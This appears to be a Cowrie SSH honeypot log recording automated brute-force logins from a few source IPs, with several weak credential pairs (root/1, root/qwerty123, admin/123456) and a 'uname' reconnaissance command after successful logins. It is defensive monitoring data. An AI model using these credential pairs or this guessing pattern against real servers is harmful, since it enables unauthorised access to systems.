{"eventid":"cowrie.login.success","username":"root","password":"1","message":"login attempt [root/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:20.607248Z","src_ip":"101.44.96.62","session":"2fcd0230cf80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:21.088631Z","src_ip":"101.44.96.62","session":"2fcd0230cf80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:21.093709Z","src_ip":"101.44.96.62","session":"2fcd0230cf80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:21.317386Z","src_ip":"101.44.96.62","session":"2fcd0230cf80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:21.322992Z","src_ip":"101.44.96.62","session":"2fcd0230cf80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59146,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6362f3aa417","protocol":"ssh","message":"New connection: 101.44.96.62:59146 (159.203.135.109:22) [session: e6362f3aa417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:33.217721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:33.222483Z","src_ip":"101.44.96.62","session":"e6362f3aa417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:33.440720Z","src_ip":"101.44.96.62","session":"e6362f3aa417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"abc123","message":"login attempt [www/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:34.092951Z","src_ip":"101.44.96.62","session":"e6362f3aa417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:35.313955Z","src_ip":"101.44.96.62","session":"e6362f3aa417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38048,"dst_ip":"159.203.135.109","dst_port":22,"session":"0de5adeb7694","protocol":"ssh","message":"New connection: 101.44.96.62:38048 (159.203.135.109:22) [session: 0de5adeb7694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:46.646074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:46.651030Z","src_ip":"101.44.96.62","session":"0de5adeb7694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:46.870806Z","src_ip":"101.44.96.62","session":"0de5adeb7694","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:47.531074Z","src_ip":"101.44.96.62","session":"0de5adeb7694","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:48.004539Z","src_ip":"101.44.96.62","session":"0de5adeb7694","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:48.007986Z","src_ip":"101.44.96.62","session":"0de5adeb7694","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:48.230404Z","src_ip":"101.44.96.62","session":"0de5adeb7694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:48.235491Z","src_ip":"101.44.96.62","session":"0de5adeb7694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35984,"dst_ip":"159.203.135.109","dst_port":22,"session":"456e699fff96","protocol":"ssh","message":"New connection: 101.44.96.62:35984 (159.203.135.109:22) [session: 456e699fff96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:00.129370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:00.135656Z","src_ip":"101.44.96.62","session":"456e699fff96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:00.355587Z","src_ip":"101.44.96.62","session":"456e699fff96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:01.016667Z","src_ip":"101.44.96.62","session":"456e699fff96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:02.238672Z","src_ip":"101.44.96.62","session":"456e699fff96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50522,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e54b9af7f32","protocol":"ssh","message":"New connection: 101.44.96.62:50522 (159.203.135.109:22) [session: 0e54b9af7f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:13.715635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:13.722329Z","src_ip":"101.44.96.62","session":"0e54b9af7f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:13.940070Z","src_ip":"101.44.96.62","session":"0e54b9af7f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38870,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa498f0bc795","protocol":"ssh","message":"New connection: 195.178.110.218:38870 (159.203.135.109:22) [session: fa498f0bc795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:14.033898Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:14.111104Z","src_ip":"195.178.110.218","session":"fa498f0bc795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:14.593941Z","src_ip":"101.44.96.62","session":"0e54b9af7f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:15.814495Z","src_ip":"101.44.96.62","session":"0e54b9af7f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60468,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd31c902fabe","protocol":"ssh","message":"New connection: 101.44.96.62:60468 (159.203.135.109:22) [session: bd31c902fabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:27.263562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:27.268319Z","src_ip":"101.44.96.62","session":"bd31c902fabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:27.486106Z","src_ip":"101.44.96.62","session":"bd31c902fabe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:28.138852Z","src_ip":"101.44.96.62","session":"bd31c902fabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:29.360956Z","src_ip":"101.44.96.62","session":"bd31c902fabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35234,"dst_ip":"159.203.135.109","dst_port":22,"session":"a687a36c8e41","protocol":"ssh","message":"New connection: 101.44.96.62:35234 (159.203.135.109:22) [session: a687a36c8e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:40.963179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:40.969190Z","src_ip":"101.44.96.62","session":"a687a36c8e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:41.185029Z","src_ip":"101.44.96.62","session":"a687a36c8e41","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:41.826848Z","src_ip":"101.44.96.62","session":"a687a36c8e41","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:42.290466Z","src_ip":"101.44.96.62","session":"a687a36c8e41","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:42.293936Z","src_ip":"101.44.96.62","session":"a687a36c8e41","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:42.512820Z","src_ip":"101.44.96.62","session":"a687a36c8e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:42.518545Z","src_ip":"101.44.96.62","session":"a687a36c8e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59866,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f543ce334b9","protocol":"ssh","message":"New connection: 2.57.122.238:59866 (10.17.0.5:22) [session: 3f543ce334b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:45.902373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:45.906730Z","src_ip":"2.57.122.238","session":"3f543ce334b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:46.012047Z","src_ip":"2.57.122.238","session":"3f543ce334b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:46.328228Z","src_ip":"2.57.122.238","session":"3f543ce334b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:33:47.435665Z","src_ip":"2.57.122.238","session":"3f543ce334b9","protocol":"ssh"}
